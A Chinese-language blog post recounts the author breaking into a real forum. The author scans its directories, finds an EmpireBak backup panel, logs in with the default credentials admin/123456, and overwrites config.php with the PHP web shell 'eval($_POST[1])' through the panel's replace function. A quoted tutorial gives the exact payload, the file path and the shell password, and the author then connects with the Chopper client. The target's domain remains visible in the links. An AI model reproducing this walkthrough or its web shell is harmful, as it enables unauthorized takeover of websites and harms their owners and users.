今天没什么事做、、、  
突然想到前些天经常光顾的“xxx”的站找不到了、  
就跑到了百度那搜了下自己的用户名xxxxxx  
经过里一翻努力找到了、、、找到之后就想对其安全检查、、  
目标：[http://bbs.xxx.cn](http://bbs.mjkent.cn/) 先看看有没robots.txt看看有没有什么能利用的东西、、、  
还真有呵呵[http://bbs.xxx.cn/robots.txt](http://bbs.mjkent.cn/robots.txt)  
看了下有后台地址、、猜了下他的密码没有什么结果、、郁闷死、、  
恩，找了很久了也没找到什么有用的东西、、用wwwscan扫了下目录、、  
扫了段时间还真有些东西、、其中就用[http://bbs.xxx.cn/datas/](http://bbs.mjkent.cn/datas/)  
是帝国备份王(Empirebak)  没真是第一次看到、、汗 ，没办法菜啊、、  
去百度下看看有什么利用的东西   
不一会找到了一片文章《帝国备份王(Empirebak)拿webshell》  
看到心里那个兴奋啊、、呵呵、、、  
好东西啊  把它弄过来先、、、、  
——————————————————————————————————————————  
  
准确的来说应该是帝国备份王(Empirebak)后台拿webshell。  
  
帝国备份王(Empirebak)简介  
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.  
可在 <http://www.phome.net/ebak2008os/> 下载到  
默认账号密码为  
admin  123456  
登陆后先备份一次数据  
备份时可选择备份到的目录。。默认有个safemod  
当然也可以是别的..这里以safemod来说了  
备份完毕后来到  
管理备份目录  
打包并下载  
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了  
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能  
如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下  
我是替换  
config.php的内容  
  
内容为

1. <?php $b\_table="a,bak\_guest3Book1,bak\_info17Content1,bak\_info17Sort1,bak\_info18Content1,bak\_info1Content1,bak\_info1Sort1,bak\_info2Content1,bak\_info2Sort1,bak\_info4Content1,bak\_info4Sort1,bak\_info5Content1,bak\_info5Sort1,bak\_info6Content1,bak\_info6Sort1,bak\_info7Content1,bak\_info7Sort1,bak\_info8Content1,bak\_info8Sort1,bak\_page12Content1,bak\_page1Content1,bak\_page21Content1,bak\_poll20Inve1,bak\_poll20InveCount1,bak\_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system"; $tb[a]=1; $tb[bak\_guest3Book1]=1; $tb[bak\_info17Content1]=1; $tb[bak\_info17Sort1]=1; $tb[bak\_info18Content1]=1; $tb[bak\_info1Content1]=1; $tb[bak\_info1Sort1]=1; $tb[bak\_info2Content1]=1; $tb[bak\_info2Sort1]=1; $tb[bak\_info4Content1]=1; $tb[bak\_info4Sort1]=1; $tb[bak\_info5Content1]=1; $tb[bak\_info5Sort1]=1; $tb[bak\_info6Content1]=1; $tb[bak\_info6Sort1]=1; $tb[bak\_info7Content1]=1; $tb[bak\_info7Sort1]=1; $tb[bak\_info8Content1]=1; $tb[bak\_info8Sort1]=1; $tb[bak\_page12Content1]=1; $tb[bak\_page1Content1]=1; $tb[bak\_page21Content1]=1; $tb[bak\_poll20Inve1]=1; $tb[bak\_poll20InveCount1]=1; $tb[bak\_poll20InveOpt1]=1; $tb[guest16Book1]=1; $tb[guest3Book1]=1; $tb[htmlImage]=1; $tb[htmlImageTmp]=1; $tb[info10Content1]=1; $tb[info10Sort1]=1; $tb[info12Content1]=1; $tb[info12Sort1]=1; $tb[info15Content1]=1; $tb[info15Sort1]=1; $tb[info17Content1]=1; $tb[info17Sort1]=1; $tb[info18Content1]=1; $tb[info18Sort1]=1; $tb[info19Content1]=1; $tb[info19Sort1]=1; $tb[info1Content1]=1; $tb[info1Sort1]=1; $tb[info2Content1]=7; $tb[info2Sort1]=1; $tb[info4Content1]=1; $tb[info4Sort1]=1; $tb[info5Content1]=1; $tb[info5Sort1]=1; $tb[info6Content1]=1; $tb[info6Sort1]=1; $tb[info7Content1]=1; $tb[info7Sort1]=1; $tb[info8Content1]=1; $tb[info8Sort1]=1; $tb[operatorPower]=1; $tb[operators]=1; $tb[page11Content1]=1; $tb[page12Content1]=1; $tb[page13Content1]=1; $tb[page14Content1]=1; $tb[page1Content1]=1; $tb[page21Content1]=1; $tb[poll20Inve1]=1; $tb[poll20InveCount1]=1; $tb[poll20InveOpt1]=1; $tb[poll9Inve1]=1; $tb[poll9InveCount1]=1; $tb[poll9InveOpt1]=1; $tb[system]=1; $b\_baktype=0; $b\_filesize=300; $b\_bakline=500; $b\_autoauf=1; $b\_dbname="s422857db0"; $b\_stru=1; $b\_strufour=0; $b\_dbchar="auto"; $b\_beover=0; $b\_insertf="replace"; $b\_autofield=",,"; ?>

*复制代码*  
  
  
然后替换

1. <?php eval($\_POST[1]);?>by huang~~~~~

*复制代码*  
  
  
访问  
http://www.xxx.com/upload/bdata/safemod/config.php  
能看到 by huang~~~~~  
证明成功得到shell  
密码为1  
前提是要有管理密码能进入管理^\_^  
————————————————————————————  
默认密码是admin    123456   带着侥幸的心情试试、、、  
我的天啊 真的进来了啊     这绝对是长相+人品啊  呵呵  
呵呵 在后台替换成功了、、  
[http://bbs.xxxxt.cn/datas//bdata/safemod/config.php](http://bbs.mjkent.cn/datas/bdata/safemod/config.php)  
密码是1  
菜刀连上、、、嘻嘻、、